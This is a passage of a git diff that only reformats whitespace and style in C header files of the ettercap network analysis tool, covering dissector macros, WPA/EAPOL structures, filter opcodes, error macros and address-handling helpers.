the server */ #define FROM_SERVER(name, pack) (dissect_on_port(name, ntohs(pack->L4.src)) == E_SUCCESS) /* return true if the packet is coming from the client */ #define FROM_CLIENT(name, pack) (dissect_on_port(name, ntohs(pack->L4.dst)) == E_SUCCESS) - /* * creates the session on the first packet sent from * the server (SYN+ACK) */ -#define CREATE_SESSION_ON_SYN_ACK(name, session, func) do{ \ +#define CREATE_SESSION_ON_SYN_ACK(name, session, func) \ + do { \ if ((PACKET->L4.flags & TH_SYN) && (PACKET->L4.flags & TH_ACK) && dissect_on_port(name, ntohs(PACKET->L4.src)) == E_SUCCESS) { \ - DEBUG_MSG("%s --> create_session_on_syn_ack", name); \ - /* create the session */ \ - dissect_create_session(&session, PACKET, DISSECT_CODE(func)); \ - session_put(session); \ - return NULL; \ - } \ - }while(0) + DEBUG_MSG("%s --> create_session_on_syn_ack", name); \ + /* create the session */ \ + dissect_create_session(&session, PACKET, DISSECT_CODE(func)); \ + session_put(session); \ + return NULL; \ + } \ + } while (0) /* - * helper macros to get the banner of a service if it is the first thing + * helper macros to get the banner of a service if it is the first thing * the server send to the client. * it must be used this way: * * IF_FIRST_PACKET_FROM_SERVER(21, s, i) { - * + * * ... do something with PACKET->DISSECTOR.banner - * + * * } ENDIF_FIRST_PACKET_FROM_SERVER(21, s, i) * */ -#define IF_FIRST_PACKET_FROM_SERVER(name, session, ident, func) \ - if (FROM_SERVER(name, PACKET) && PACKET->L4.flags & TH_PSH) { \ - dissect_create_ident(&ident, PACKET, DISSECT_CODE(func)); \ - /* the session exist */ \ - if (session_get(&session, ident, sizeof(struct dissect_ident)) != -E_NOTFOUND) { \ - /* prevent the deletion of session created for the user and pass */ \ - if (session->data == NULL) - - -#define IF_FIRST_PACKET_FROM_SERVER_SSL(name, names, session, ident, func) \ - if ((FROM_SERVER(name, PACKET) || FROM_SERVER(names, PACKET)) && PACKET->L4.flags & TH_PSH) { \ - dissect_create_ident(&ident, PACKET, DISSECT_CODE(func)); \ - /* the session exist */ \ +#define IF_FIRST_PACKET_FROM_SERVER(name, session, ident, func) \ + if (FROM_SERVER(name, PACKET) && PACKET->L4.flags & TH_PSH) { \ + dissect_create_ident(&ident, PACKET, DISSECT_CODE(func)); \ + /* the session exist */ \ if (session_get(&session, ident, sizeof(struct dissect_ident)) != -E_NOTFOUND) { \ - /* prevent the deletion of session created for the user and pass */ \ - if (session->data == NULL) + /* prevent the deletion of session created for the user and pass */ \ + if (session->data == NULL) - -#define ENDIF_FIRST_PACKET_FROM_SERVER(session, ident) \ - if (session->data == NULL) \ - session_del(ident, sizeof(struct dissect_ident)); \ - } \ - SAFE_FREE(ident); \ - return NULL; \ - } - - -#define DISSECT_MSG(x, ...) do { \ - if (!GBL_OPTIONS->superquiet) \ - USER_MSG(x, ## __VA_ARGS__ ); \ -} while(0) +#define IF_FIRST_PACKET_FROM_SERVER_SSL(name, names, session, ident, func) \ + if ((FROM_SERVER(name, PACKET) || FROM_SERVER(names, PACKET)) && PACKET->L4.flags & TH_PSH) { \ + dissect_create_ident(&ident, PACKET, DISSECT_CODE(func)); \ + /* the session exist */ \ + if (session_get(&session, ident, sizeof(struct dissect_ident)) != -E_NOTFOUND) { \ + /* prevent the deletion of session created for the user and pass */ \ + if (session->data == NULL) + +#define ENDIF_FIRST_PACKET_FROM_SERVER(session, ident) \ + if (session->data == NULL) \ + session_del(ident, sizeof(struct dissect_ident)); \ + } \ + SAFE_FREE(ident); \ + return NULL; \ + } + +#define DISSECT_MSG(x, ...) \ + do { \ + if (!GBL_OPTIONS->superquiet) \ + USER_MSG(x, ## __VA_ARGS__); \ + } while (0) #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_encryption.h b/include/ec_encryption.h index 644f8a92b..06610590c 100644 --- a/include/ec_encryption.h +++ b/include/ec_encryption.h @@ -70,53 +70,52 @@ struct wpa_header { #define WPA_CCMP_TRAILER 8 struct __attribute__ ((__packed__)) rsn_ie_header { - u_int8 id; - u_int8 len; - u_int8 OUI[4]; + u_int8 id; + u_int8 len; + u_int8 OUI[4]; u_int16 version; - u_int8 multicastOUI[4]; + u_int8 multicastOUI[4]; u_int16 iUnicastCount; /* this should always be 1 for WPA client */ - u_int8 unicastOUI[4]; + u_int8 unicastOUI[4]; u_int16 iAuthCount; /* this should always be 1 for WPA client */ - u_int8 authOUI[4]; + u_int8 authOUI[4]; u_int16 wpa_cap; }; struct __attribute__ ((__packed__)) eapol_header { - u_int8 version; - u_int8 type; - #define EAP_PACKET 0x00 - #define EAPOL_START 0x01 - #define EAPOL_LOGOFF 0x02 - #define EAPOL_KEY 0x03 - #define EAPOL_ENCAP 0x04 + u_int8 version; + u_int8 type; +#define EAP_PACKET 0x00 +#define EAPOL_START 0x01 +#define EAPOL_LOGOFF 0x02 +#define EAPOL_KEY 0x03 +#define EAPOL_ENCAP 0x04 u_int16 len; }; struct __attribute__ ((__packed__)) eapol_key_header { - u_int8 type; - #define EAPOL_KEY_RSN 0x02 - #define EAPOL_KEY_WPA 0xfe + u_int8 type; +#define EAPOL_KEY_RSN 0x02 +#define EAPOL_KEY_WPA 0xfe u_int16 key_info; - #define WPA_KEY_TKIP 0x0001 - #define WPA_KEY_CCMP 0x0002 - #define WPA_KEY_PAIRWISE 0x0008 - #define WPA_KEY_INSTALL 0x0040 - #define WPA_KEY_ACK 0x0080 - #define WPA_KEY_MIC 0x0100 - #define WPA_KEY_SECURE 0x0200 - #define WPA_KEY_ENCRYPT 0x1000 +#define WPA_KEY_TKIP 0x0001 +#define WPA_KEY_CCMP 0x0002 +#define WPA_KEY_PAIRWISE 0x0008 +#define WPA_KEY_INSTALL 0x0040 +#define WPA_KEY_ACK 0x0080 +#define WPA_KEY_MIC 0x0100 +#define WPA_KEY_SECURE 0x0200 +#define WPA_KEY_ENCRYPT 0x1000 u_int16 key_len; - u_int8 replay_counter[8]; - u_int8 key_nonce[32]; - u_int8 key_IV[16]; - u_int8 key_RSC[8]; - u_int8 key_ID[8]; - u_int8 key_MIC[16]; + u_int8 replay_counter[8]; + u_int8 key_nonce[32]; + u_int8 key_IV[16]; + u_int8 key_RSC[8]; + u_int8 key_ID[8]; + u_int8 key_MIC[16]; u_int16 key_data_len; }; - struct wpa_sa { struct timeval tv; /* used to timeout the session */ u_char state; @@ -130,16 +129,15 @@ struct wpa_sa { struct wpa_session { u_char sta[ETH_ADDR_LEN]; /* the STA mac address that is associating */ struct wpa_sa sa; - LIST_ENTRY (wpa_session) next; + LIST_ENTRY(wpa_session) next; }; - -#define XOR_BLOCK(b, a, len) \ -{ \ - int i; \ - for (i = 0; i < (int)(len); i++) \ - (b)[i] ^= (a)[i]; \ -} +#define XOR_BLOCK(b, a, len) \ + { \ + int i; \ + for (i = 0; i < (int)(len); i++) \ + (b)[i] ^= (a)[i]; \ + } /* forward declaration in wifi_eapol.c */ struct rsn_ie_header; @@ -154,7 +152,7 @@ extern void wpa_sess_del(u_char *sta); extern int wpa_sess_get(u_char *sta, struct wpa_sa *sa); extern int wpa_generate_PTK(u_char *bssid, u_char *sta, u_char *pmk, u_char *snonce, u_char *anonce, u_int16 bits, u_char *ptk); -extern int wpa_check_MIC(struct eapol_header *eapol, struct eapol_key_header* eapol_key, size_t eapol_len, u_char *kck, int algo); +extern int wpa_check_MIC(struct eapol_header *eapol, struct eapol_key_header *eapol_key, size_t eapol_len, u_char *kck, int algo); extern int wpa_decrypt_broadcast_key(struct eapol_key_header *eapol_key, struct rsn_ie_header *rsn_ie, struct wpa_sa *sa); extern int wpa_decrypt(u_char *mac, u_char *data, size_t len, struct wpa_sa sa); diff --git a/include/ec_error.h b/include/ec_error.h index 44e9155e8..08d6c3ce3 100644 --- a/include/ec_error.h +++ b/include/ec_error.h @@ -24,24 +24,21 @@ EC_API_EXTERN void warn_msg(char *file, const char *function, int line, char *me EC_API_EXTERN void fatal_error(char *message, ...); EC_API_EXTERN void bug(char *file, const char *function, int line, char *message); +#define WARN_MSG(x, ...) warn_msg(__FILE__, __FUNCTION__, __LINE__, x, ## __VA_ARGS__) +#define ERROR_MSG(x, ...) error_msg(__FILE__, __FUNCTION__, __LINE__, x, ## __VA_ARGS__) -#define WARN_MSG(x, ...) warn_msg(__FILE__, __FUNCTION__, __LINE__, x, ## __VA_ARGS__ ) -#define ERROR_MSG(x, ...) error_msg(__FILE__, __FUNCTION__, __LINE__, x, ## __VA_ARGS__ ) +#define FATAL_ERROR(x, ...) do { fatal_error(x, ## __VA_ARGS__); } while (0) -#define FATAL_ERROR(x, ...) do { fatal_error(x, ## __VA_ARGS__ ); } while(0) +#define ON_ERROR(x, y, fmt, ...) do { if (x == y) ERROR_MSG(fmt, ## __VA_ARGS__); } while (0) -#define ON_ERROR(x, y, fmt, ...) do { if (x == y) ERROR_MSG(fmt, ## __VA_ARGS__ ); } while(0) +#define BUG_IF(x) do { if (x) bug(__FILE__, __FUNCTION__, __LINE__, #x); } while (0) -#define BUG_IF(x) do { if (x) bug(__FILE__, __FUNCTION__, __LINE__, #x); }while(0) - -#define BUG(x) do { bug(__FILE__, __FUNCTION__, __LINE__, #x); }while(0) - -#define NOT_IMPLEMENTED() do { BUG("Not yet implemented, please contact the authors"); } while(0) +#define BUG(x) do { bug(__FILE__, __FUNCTION__, __LINE__, #x); } while (0) +#define NOT_IMPLEMENTED() do { BUG("Not yet implemented, please contact the authors"); } while (0) #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_file.h b/include/ec_file.h index 268deb712..1bb8ce99c 100644 --- a/include/ec_file.h +++ b/include/ec_file.h @@ -1,9 +1,9 @@ #ifndef ETTERCAP_FILE_H #define ETTERCAP_FILE_H -EC_API_EXTERN FILE * open_data(char *dir, char *file, char *mode); -EC_API_EXTERN char * get_full_path(const char *dir, const char *file); -EC_API_EXTERN char * get_local_path(const char *file); +EC_API_EXTERN FILE *open_data(char *dir, char *file, char *mode); +EC_API_EXTERN char *get_full_path(const char *dir, const char *file); +EC_API_EXTERN char *get_local_path(const char *file); #define MAC_FINGERPRINTS "etter.finger.mac" #define TCP_FINGERPRINTS "etter.finger.os" @@ -16,9 +16,9 @@ EC_API_EXTERN char * get_local_path(const char *file); #define CERT_FILE "etter.ssl.crt" /* fopen modes */ -#define FOPEN_READ_TEXT "r" -#define FOPEN_READ_BIN "rb" -#define FOPEN_WRITE_TEXT "w" +#define FOPEN_READ_TEXT "r" +#define FOPEN_READ_BIN "rb" +#define FOPEN_WRITE_TEXT "w" #define FOPEN_WRITE_BIN "wb" #endif @@ -26,4 +26,3 @@ EC_API_EXTERN char * get_local_path(const char *file); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_filter.h b/include/ec_filter.h index 9e0ee0388..8c1164825 100644 --- a/include/ec_filter.h +++ b/include/ec_filter.h @@ -5,32 +5,32 @@ #include #ifdef HAVE_PCRE - #include +#include #endif -/* +/* * this is the struct used by the filtering engine * it is the equivalent of a processor's instruction * - * they are organized in an array and evaluated one + * they are organized in an array and evaluated one * at a time. the jump are absolute and the addressing * is done by the array position. * */ -//#define MAX_FILTER_LEN 200 +// #define MAX_FILTER_LEN 200 struct filter_op { char opcode; - #define FOP_EXIT 0 - #define FOP_TEST 1 - #define FOP_ASSIGN 2 - #define FOP_INC 3 - #define FOP_DEC 4 - #define FOP_FUNC 5 - #define FOP_JMP 6 - #define FOP_JTRUE 7 - #define FOP_JFALSE 8 +#define FOP_EXIT 0 +#define FOP_TEST 1 +#define FOP_ASSIGN 2 +#define FOP_INC 3 +#define FOP_DEC 4 +#define FOP_FUNC 5 +#define FOP_JMP 6 +#define FOP_JTRUE 7 +#define FOP_JFALSE 8 /* * the first two field of the structs (op and level) must @@ -41,50 +41,49 @@ struct filter_op { /* functions */ struct { char op; - #define FFUNC_SEARCH 0 - #define FFUNC_REGEX 1 - #define FFUNC_PCRE 2 - #define FFUNC_REPLACE 3 - #define FFUNC_INJECT 4 - #define FFUNC_LOG 5 - #define FFUNC_DROP 6 - #define FFUNC_KILL 7 - #define FFUNC_MSG 8 - #define FFUNC_EXEC 9 - #define FFUNC_EXECINJECT 10 - u_int8 level; +#define FFUNC_SEARCH 0 +#define FFUNC_REGEX 1 +#define FFUNC_PCRE 2 +#define FFUNC_REPLACE 3 +#define FFUNC_INJECT 4 +#define FFUNC_LOG 5 +#define FFUNC_DROP 6 +#define FFUNC_KILL 7 +#define FFUNC_MSG 8 +#define FFUNC_EXEC 9 +#define FFUNC_EXECINJECT 10 + u_int8 level; u_int8 *string; size_t slen; u_int8 *replace; size_t rlen; struct regex_opt *ropt; } func; - + /* tests */ struct { - u_int8 op; - #define FTEST_EQ 0 - #define FTEST_NEQ 1 - #define FTEST_LT 2 - #define FTEST_GT 3 - #define FTEST_LEQ 4 - #define FTEST_GEQ 5 - u_int8 level; - u_int8 size; - u_int16 offset; - u_int32 value; - u_int8 ipaddr[16]; - u_int8 *string; - size_t slen; + u_int8 op; +#define FTEST_EQ 0 +#define FTEST_NEQ 1 +#define FTEST_LT 2 +#define FTEST_GT 3 +#define FTEST_LEQ 4 +#define FTEST_GEQ 5 + u_int8 level; + u_int8 size; + u_int16 offset; + u_int32 value; + u_int8 ipaddr[16]; + u_int8 *string; + size_t slen; } test, assign; /* jumps */ u_int16 jmp; - } op; }; -/* the header for a binary filter file +/* the header for a binary filter file * * a file is structured as follow: * the header @@ -96,8 +95,8 @@ struct filter_op { */ struct filter_header { /* magic number */ - u_int16 magic; - #define EC_FILTER_MAGIC 0xe77e + u_int16 magic; +#define EC_FILTER_MAGIC 0xe77e /* ettercap version */ char version[16]; /* pointers to the segments */ @@ -114,10 +113,10 @@ struct filter_env { /* filter list entry */ struct filter_list { - u_int8 enabled; - char *name; - struct filter_env env; - struct filter_list *next; + u_int8 enabled; + char *name; + struct filter_env env; + struct filter_list *next; }; /* uset to compile the regex while loading the file */ @@ -125,7 +124,7 @@ struct regex_opt { regex_t *regex; #ifdef HAVE_PCRE pcre *pregex; - pcre_extra *preg_extra; + pcre_extra *preg_extra; #endif }; @@ -139,11 +138,10 @@ EC_API_EXTERN void filter_packet(struct packet_object *po); EC_API_EXTERN int filter_load_file(const char *filename, struct filter_list **list, uint8_t enabled); EC_API_EXTERN void filter_unload(struct filter_list **list); EC_API_EXTERN void filter_clear(void); -EC_API_EXTERN void filter_walk_list( int(*cb)(struct filter_list*, void*), void *arg); +EC_API_EXTERN void filter_walk_list(int (*cb)(struct filter_list *, void *), void *arg); #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_fingerprint.h b/include/ec_fingerprint.h index 72ea9ace4..c7cff579e 100644 --- a/include/ec_fingerprint.h +++ b/include/ec_fingerprint.h @@ -8,31 +8,29 @@ EC_API_EXTERN void fingerprint_push(char *finger, int param, int value); EC_API_EXTERN u_int8 TTL_PREDICTOR(u_int8 x); EC_API_EXTERN int fingerprint_submit(const char *finger, char *os); - /* - * The fingerprint database has the following structure: - * - * WWWW:MSS:TTL:WS:S:N:D:T:F:LEN:OS - * - * WWWW: 4 digit hex field indicating the TCP Window Size - * MSS : 4 digit hex field indicating the TCP Option Maximum Segment Size - * if omitted in the packet or unknown it is "_MSS" - * TTL : 2 digit hex field indicating the IP Time To Live - * WS : 2 digit hex field indicating the TCP Option Window Scale - * if omitted in the packet or unknown it is "WS" + * The fingerprint database has the following structure: + * + * WWWW:MSS:TTL:WS:S:N:D:T:F:LEN:OS + * + * WWWW: 4 digit hex field indicating the TCP Window Size + * MSS : 4 digit hex field indicating the TCP Option Maximum Segment Size + * if omitted in the packet or unknown it is "_MSS" + * TTL : 2 digit hex field indicating the IP Time To Live + * WS : 2 digit hex field indicating the TCP Option Window Scale + * if omitted in the packet or unknown it is "WS" * S : 1 digit field indicating if the TCP Option SACK permitted is true - * N : 1 digit field indicating if the TCP Options contain a NOP - * D : 1 digit field indicating if the IP Don't Fragment flag is set - * T : 1 digit field indicating if the TCP Timestamp is present - * F : 1 digit ascii field indicating the flag of the packet - * S = SYN - * A = SYN + ACK - * LEN : 2 digit hex field indicating the length of the packet - * if irrilevant or unknown it is "LT" - * OS : an ascii string representing the OS + * N : 1 digit field indicating if the TCP Options contain a NOP + * D : 1 digit field indicating if the IP Don't Fragment flag is set + * T : 1 digit field indicating if the TCP Timestamp is present + * F : 1 digit ascii field indicating the flag of the packet + * S = SYN + * A = SYN + ACK + * LEN : 2 digit hex field indicating the length of the packet + * if irrilevant or unknown it is "LT" + * OS : an ascii string representing the OS */ - enum { FINGER_LEN = 28, OS_LEN = 60, @@ -48,25 +46,23 @@ enum { FINGER_LT = 26, }; -/* +/* * the structure for passive information * carried by PO */ struct passive_info { - char fingerprint[FINGER_LEN+1]; + char fingerprint[FINGER_LEN + 1]; char flags; - #define FP_UNKNOWN 0 /* this happen reading form a file */ - #define FP_HOST_LOCAL 1 - #define FP_HOST_NONLOCAL 1<<1 - #define FP_GATEWAY 1<<2 - #define FP_ROUTER 1<<3 +#define FP_UNKNOWN 0 /* this happen reading form a file */ +#define FP_HOST_LOCAL 1 +#define FP_HOST_NONLOCAL 1 << 1 +#define FP_GATEWAY 1 << 2 +#define FP_ROUTER 1 << 3 }; - #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_format.h b/include/ec_format.h index 2c5a7556d..bca9ffec5 100644 --- a/include/ec_format.h +++ b/include/ec_format.h @@ -21,4 +21,3 @@ EC_API_EXTERN int set_format(char *format); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_geoip.h b/include/ec_geoip.h index 04fc6fc70..16b16529d 100644 --- a/include/ec_geoip.h +++ b/include/ec_geoip.h @@ -1,14 +1,13 @@ #ifndef ETTERCAP_GEOIP_H #define ETTERCAP_GEOIP_H - #include #include #ifdef WITH_GEOIP -EC_API_EXTERN void geoip_init (void); -EC_API_EXTERN const char* geoip_ccode_by_ip (struct ip_addr *ip); -EC_API_EXTERN const char* geoip_country_by_ip (struct ip_addr *ip); +EC_API_EXTERN void geoip_init(void); +EC_API_EXTERN const char *geoip_ccode_by_ip(struct ip_addr *ip); +EC_API_EXTERN const char *geoip_country_by_ip(struct ip_addr *ip); #endif #endif diff --git a/include/ec_globals.h b/include/ec_globals.h index a58c8bd15..10079c276 100644 --- a/include/ec_globals.h +++ b/include/ec_globals.h @@ -70,25 +70,25 @@ struct ec_conf { /* options from getopt */ struct ec_options { - char write:1; - char read:1; - char compress:1; - char quiet:1; - char superquiet:1; - char silent:1; - char ip6scan:1; - char unoffensive:1; - char ssl_mitm:1; - char load_hosts:1; - char save_hosts:1; - char resolve:1; - char ext_headers:1; - char mitm:1; - char only_mitm:1; - char remote:1; - char gateway:1; - char lifaces:1; - char broadcast:1; + char write : 1; + char read : 1; + char compress : 1; + char quiet : 1; + char superquiet : 1; + char silent : 1; + char ip6scan : 1; + char unoffensive : 1; + char ssl_mitm : 1; + char load_hosts : 1; + char save_hosts : 1; + char resolve : 1; + char ext_headers : 1; + char mitm : 1; + char only_mitm : 1; + char remote : 1; + char gateway : 1; + char lifaces : 1; + char broadcast : 1; char reversed; char *hostsfile; LIST_HEAD(plugin_list_t, plugin_list) plugins; @@ -119,16 +119,16 @@ struct program_env { /* global pcap structure */ struct pcap_env { - pcap_if_t *ifs; - char *buffer; /* buffer to be used to handle all the packets */ - u_int8 align; /* alignment needed on sparc 4*n - sizeof(media_hdr) */ - char promisc; - char *filter; /* pcap filter */ - int snaplen; - int dlt; + pcap_if_t *ifs; + char *buffer; /* buffer to be used to handle all the packets */ + u_int8 align; /* alignment needed on sparc 4*n - sizeof(media_hdr) */ + char promisc; + char *filter; /* pcap filter */ + int snaplen; + int dlt; pcap_dumper_t *dump; - u_int32 dump_size; /* total dump size */ - u_int32 dump_off; /* current offset */ + u_int32 dump_size; /* total dump size */ + u_int32 dump_off; /* current offset */ }; /* lnet structure */ @@ -153,26 +153,26 @@ struct hosts_list { /* target specifications */ struct target_env { - char scan_all:1; - char all_mac:1; /* these one bit flags are used as wildcards */ - char all_ip:1; - char all_ip6:1; - char all_port:1; + char scan_all : 1; + char all_mac : 1; /* these one bit flags are used as wildcards */ + char all_ip : 1; + char all_ip6 : 1; + char all_port : 1; u_char mac[MEDIA_ADDR_LEN]; LIST_HEAD(, ip_list) ips; LIST_HEAD(, ip_list) ip6; - u_int8 ports[1<<13]; /* in 8192 byte we have 65535 bits, use one bit per port */ + u_int8 ports[1 << 13]; /* in 8192 byte we have 65535 bits, use one bit per port */ }; /* wifi network structure */ struct wifi_env { - char wireless; /* if the send interface is wireless */ - u_char wifi_schema; - #define WIFI_WEP 0x01 - #define WIFI_WPA 0x02 - char *wifi_key; /* user specified wifi_key */ - u_char wkey[MAX_WKEY_LEN]; /* encoded wifi key, large enough for all encryption schemas */ - size_t wkey_len; + char wireless; /* if the send interface is wireless */ + u_char wifi_schema; +#define WIFI_WEP 0x01 +#define WIFI_WPA 0x02 + char *wifi_key; /* user specified wifi_key */ + u_char wkey[MAX_WKEY_LEN]; /* encoded wifi key, large enough for all encryption schemas */ + size_t wkey_len; }; /* the globals container */ @@ -232,4 +232,3 @@ EC_API_EXTERN void globals_free(void); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_hash.h b/include/ec_hash.h index 528439020..28a4d3c57 100644 --- a/include/ec_hash.h +++ b/include/ec_hash.h @@ -13,4 +13,3 @@ EC_API_EXTERN Fnv32_t fnv_32(void *buf, size_t len); EC_API_EXTERN Fnv64_t fnv_64(void *buf, size_t len); #endif /* __FNV_H__ */ - diff --git a/include/ec_hook.h b/include/ec_hook.h index ea62142b6..e9dc091f1 100644 --- a/include/ec_hook.h +++ b/include/ec_hook.h @@ -14,11 +14,11 @@ enum { HOOK_DISPATCHER = 5, /* in the TOP HALF (the packet is a copy) */ }; - /* these are used the hook received packets */ +/* these are used the hook received packets */ enum { HOOK_PACKET_BASE = 50, HOOK_PACKET_ETH, - HOOK_PACKET_FDDI, + HOOK_PACKET_FDDI, HOOK_PACKET_TR, HOOK_PACKET_WIFI, HOOK_PACKET_ARP, @@ -61,12 +61,11 @@ enum { HOOK_PROTO_KRB5 }; -EC_API_EXTERN void hook_add(int point, void (*func)(struct packet_object *po) ); -EC_API_EXTERN int hook_del(int point, void (*func)(struct packet_object *po) ); +EC_API_EXTERN void hook_add(int point, void (*func)(struct packet_object *po)); +EC_API_EXTERN int hook_del(int point, void (*func)(struct packet_object *po)); #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_http.h b/include/ec_http.h index 4dca7a6fc..ff49c3195 100644 --- a/include/ec_http.h +++ b/include/ec_http.h @@ -8,4 +8,3 @@ EC_API_EXTERN int http_fields_init(void); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_inet.h b/include/ec_inet.h index 6c536b16d..53026b5e6 100644 --- a/include/ec_inet.h +++ b/include/ec_inet.h @@ -4,25 +4,25 @@ #include #ifdef OS_WINDOWS - #include - #include +#include +#include #else - #include - #include - #include +#include +#include +#include #endif #include #ifdef OS_CYGWIN - #ifndef AF_INET6 - /* XXX - ugly hack only to make it compile */ - #define AF_INET6 23 - #endif +#ifndef AF_INET6 +/* XXX - ugly hack only to make it compile */ +#define AF_INET6 23 +#endif #endif /* - * define non-standard address family identifier + * define non-standard address family identifier * used in the Null/Loopback encapsulation origined * on several BSD derivates */ @@ -31,19 +31,19 @@ #define AF_INET6_FREEBSD 28 #define AF_INET6_DARWIN 30 -#define ETH_ADDR_LEN 6 -#define TR_ADDR_LEN 6 -#define FDDI_ADDR_LEN 6 -#define MEDIA_ADDR_LEN 6 - -#define IP_ADDR_LEN 4 -#define IP6_ADDR_LEN 16 -#define MAX_IP_ADDR_LEN IP6_ADDR_LEN +#define ETH_ADDR_LEN 6 +#define TR_ADDR_LEN 6 +#define FDDI_ADDR_LEN 6 +#define MEDIA_ADDR_LEN 6 + +#define IP_ADDR_LEN 4 +#define IP6_ADDR_LEN 16 +#define MAX_IP_ADDR_LEN IP6_ADDR_LEN -#define ETH_ASCII_ADDR_LEN 19 // sizeof("ff:ff:ff:ff:ff:ff")+1 -#define IP_ASCII_ADDR_LEN 17 // sizeof("255.255.255.255")+1 -#define IP6_ASCII_ADDR_LEN 47 // sizeof("ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255")+1 -#define MAX_ASCII_ADDR_LEN IP6_ASCII_ADDR_LEN +#define ETH_ASCII_ADDR_LEN 19 // sizeof("ff:ff:ff:ff:ff:ff")+1 +#define IP_ASCII_ADDR_LEN 17 // sizeof("255.255.255.255")+1 +#define IP6_ASCII_ADDR_LEN 47 // sizeof("ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255")+1 +#define MAX_ASCII_ADDR_LEN IP6_ASCII_ADDR_LEN /* * Some predefined addresses here @@ -55,9 +55,9 @@ #define IP6_DSTOPT_UNKN "\x80\x01\x00\x00\x00" #define LLA_IP6_ALLNODES_MULTICAST "\x33\x33\x00\x00\x00\x01" -/* - * this structure is used by ettercap to handle - * an IP packet disregarding its version +/* + * this structure is used by ettercap to handle + * an IP packet disregarding its version */ struct ip_addr { u_int16 addr_type; @@ -65,8 +65,8 @@ struct ip_addr { /* this must be aligned in memory */ union { u_int8 addr[MAX_IP_ADDR_LEN]; - u_int16 addr16[MAX_IP_ADDR_LEN/2]; - u_int32 addr32[MAX_IP_ADDR_LEN/4]; + u_int16 addr16[MAX_IP_ADDR_LEN / 2]; + u_int32 addr32[MAX_IP_ADDR_LEN / 4]; }; }; @@ -83,8 +83,8 @@ EC_API_EXTERN int ip_addr_cpy(u_char *addr, struct ip_addr *sa); EC_API_EXTERN int ip_addr_cmp(struct ip_addr *sa, struct ip_addr *sb); EC_API_EXTERN int ip_addr_null(struct ip_addr *sa); EC_API_EXTERN int ip_addr_is_zero(struct ip_addr *sa); -EC_API_EXTERN int ip_addr_random(struct ip_addr* ip, u_int16 type); -EC_API_EXTERN int ip_addr_init_sol(struct ip_addr* sn, struct ip_addr* ip, u_int8 *tmac); +EC_API_EXTERN int ip_addr_random(struct ip_addr *ip, u_int16 type); +EC_API_EXTERN int ip_addr_init_sol(struct ip_addr *sn, struct ip_addr *ip, u_int8 *tmac); EC_API_EXTERN char *ip_addr_ntoa(struct ip_addr *sa, char *dst); EC_API_EXTERN int ip_addr_pton(char *str, struct ip_addr *addr); @@ -96,8 +96,8 @@ EC_API_EXTERN int ip_addr_is_global(struct ip_addr *ip); EC_API_EXTERN int ip_addr_is_multicast(struct ip_addr *ip); EC_API_EXTERN int ip_addr_is_broadcast(struct ip_addr *sa); EC_API_EXTERN int ip_addr_is_ours(struct ip_addr *ip); -EC_API_EXTERN int ip_addr_get_network(struct ip_addr*, struct ip_addr*, struct ip_addr*); -EC_API_EXTERN int ip_addr_get_prefix(struct ip_addr* netmask); +EC_API_EXTERN int ip_addr_get_network(struct ip_addr *, struct ip_addr *, struct ip_addr *); +EC_API_EXTERN int ip_addr_get_prefix(struct ip_addr *netmask); /* * this prototypes are implemented in ./os/.../ @@ -123,60 +123,60 @@ EC_API_EXTERN void check_tempaddr(const char *iface); /********************/ -#ifdef WORDS_BIGENDIAN - /* BIG ENDIAN */ - #define phtos(x) ( (u_int16) \ - ((u_int16)*((u_int8 *)x+1)<<8| \ - (u_int16)*((u_int8 *)x+0)<<0) \ - ) - - #define phtol(x) ( (u_int32)*((u_int8 *)x+3)<<24| \ - (u_int32)*((u_int8 *)x+2)<<16| \ - (u_int32)*((u_int8 *)x+1)<<8| \ - (u_int32)*((u_int8 *)x+0)<<0 \ - ) - - #define pntos(x) ( (u_int16) \ - ((u_int16)*((u_int8 *)x+1)<<0| \ - (u_int16)*((u_int8 *)x+0)<<8) \ - ) - - #define pntol(x) ( (u_int32)*((u_int8 *)x+3)<<0| \ - (u_int32)*((u_int8 *)x+2)<<8| \ - (u_int32)*((u_int8 *)x+1)<<16| \ - (u_int32)*((u_int8 *)x+0)<<24 \ - ) - - /* return little endian */ - #define htons_inv(x) (u_int16)(x << 8) | (x >> 8) - - #define ORDER_ADD_SHORT(a, b) a = a + b - #define ORDER_ADD_LONG(a, b) a = a + b +#ifdef WORDS_BIGENDIAN +/* BIG ENDIAN */ +#define phtos(x) \ + ((u_int16) \ + ((u_int16) * ((u_int8 *)x + 1) << 8 | \ + (u_int16) * ((u_int8 *)x + 0) << 0) \ + ) + +#define phtol(x) \ + ((u_int32) * ((u_int8 *)x + 3) << 24 | \ + (u_int32) * ((u_int8 *)x + 2) << 16 | \ + (u_int32) * ((u_int8 *)x + 1) << 8 | \ + (u_int32) * ((u_int8 *)x + 0) << 0 \ + ) + +#define pntos(x) \ + ((u_int16) \ + ((u_int16) * ((u_int8 *)x + 1) << 0 | \ + (u_int16) * ((u_int8 *)x + 0) << 8) \ + ) + +#define pntol(x) \ + ((u_int32) * ((u_int8 *)x + 3) << 0 | \ + (u_int32) * ((u_int8 *)x + 2) << 8 | \ + (u_int32) * ((u_int8 *)x + 1) << 16 | \ + (u_int32) * ((u_int8 *)x + 0) << 24 \ + ) + +/* return little endian */ +#define htons_inv(x) (u_int16)(x << 8) | (x >> 8) + +#define ORDER_ADD_SHORT(a, b) a = a + b +#define ORDER_ADD_LONG(a, b) a = a + b #else - /* LITTLE ENDIAN */ - #define phtos(x) *(u_int16 *)(x) - #define phtol(x) *(u_int32 *)(x) - - #define pntos(x) ntohs(*(u_int16 *)(x)) - #define pntol(x) ntohl(*(u_int32 *)(x)) - - /* return little endian */ - #define htons_inv(x) (u_int16)x - - #define ORDER_ADD_SHORT(a, b) a = htons(ntohs(a) + (int16)b) - #define ORDER_ADD_LONG(a, b) a = htonl(ntohl(a) + (int32)b) +/* LITTLE ENDIAN */ +#define phtos(x) *(u_int16 *)(x) +#define phtol(x) *(u_int32 *)(x) + +#define pntos(x) ntohs(*(u_int16 *)(x)) 